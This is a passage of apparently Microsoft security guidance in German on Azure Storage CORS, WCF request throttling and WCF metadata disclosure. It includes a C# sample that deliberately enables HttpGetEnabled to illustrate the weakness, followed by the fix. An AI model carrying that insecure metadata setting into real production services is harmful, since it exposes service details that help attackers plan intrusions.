Schritte Mit Azure Storage können Sie CORS aktivieren – Ressourcenfreigabe zwischen verschiedenen Ursprüngen. Für jedes Speicherkonto können Sie Domänen angeben, die auf die Ressourcen in diesem Speicherkonto zugreifen können. CORS ist standardmäßig für alle Dienste deaktiviert. Sie können CORS mithilfe der REST-API oder der Speicherclientbibliothek für den Aufruf einer der Methoden zum Festlegen von Dienstrichtlinien aktivieren.

Aktivieren Sie das Diensteinschränkungsfeature von WCF.

Titel Details
Komponente WCF
SDL-Phase Entwickeln
Zutreffende Technologien .NET Framework 3
Attribute
Referenzen MSDN, Fortify Kingdom
Schritte

Wird die Verwendung der Systemressourcen nicht begrenzt, gehen die Ressourcen unter Umständen zur Neige, was letztendlich zu einem Denial-of-Service-Zustand führt.

  • ERLÄUTERUNG: Windows Communication Foundation (WCF) ermöglicht die Drosselung von Dienstanforderungen. Wenn zu viele Clientanforderungen zugelassen werden, ist das System möglicherweise zu stark ausgelastet, und die Ressourcen gehen zur Neige. Wird dagegen nur eine geringe Anzahl von Dienstanforderungen zugelassen, können berechtigte Benutzer den Dienst unter Umständen nicht verwenden. Jeder Dienst muss einzeln optimiert und so konfiguriert werden, dass eine angemessene Ressourcenmenge zugelassen wird.
  • EMPFEHLUNGEN: Aktivieren Sie das Diensteinschränkungsfeature von WCF, und legen Sie geeignete Grenzwerte für Ihre Anwendung fest.

Beispiel

Das folgende Beispiel zeigt eine Konfiguration mit aktivierter Drosselung:

<system.serviceModel> 
  <behaviors>
    <serviceBehaviors>
    <behavior name="Throttled">
    <serviceThrottling maxConcurrentCalls="[YOUR SERVICE VALUE]" maxConcurrentSessions="[YOUR SERVICE VALUE]" maxConcurrentInstances="[YOUR SERVICE VALUE]" /> 
  ...
</system.serviceModel> 

Offenlegung von WCF-Informationen durch Metadaten

Titel Details
Komponente WCF
SDL-Phase Entwickeln
Zutreffende Technologien .NET Framework 3
Attribute
Referenzen MSDN, Fortify Kingdom
Schritte Anhand von Metadaten kann ein Angreifer Informationen zum System erlangen und einen Angriff planen. WCF-Dienste können so konfiguriert werden, dass sie Metadaten verfügbar machen. Metadaten liefern eine ausführliche Dienstbeschreibung und dürfen in Produktionsumgebungen nicht weitergegeben werden. Die Eigenschaften HttpGetEnabled / HttpsGetEnabled der ServiceMetaData-Klasse definieren, ob ein Dienst Metadaten verfügbar macht.

Beispiel

Der folgende Code weist WCF an, die Metadaten eines Diensts weiterzugeben:

ServiceMetadataBehavior smb = new ServiceMetadataBehavior();
smb.HttpGetEnabled = true; 
smb.HttpGetUrl = new Uri(EndPointAddress); 
Host.Description.Behaviors.Add(smb); 

Dienstmetadaten dürfen in Produktionsumgebungen nicht weitergegeben werden. Legen Sie die Eigenschaften „HttpGetEnabled“ und „HttpsGetEnabled“ der ServiceMetaData-Klasse auf „false“ fest.

Beispiel

Der folgende Code weist WCF an, die Metadaten eines Diensts nicht weiterzugeben:

ServiceMetadataBehavior smb = new ServiceMetadataBehavior(); 
smb.HttpGetEnabled = false; 
smb.HttpGetUrl = new Uri(EndPointAddress); 
Host.Description.Behaviors.Add(smb);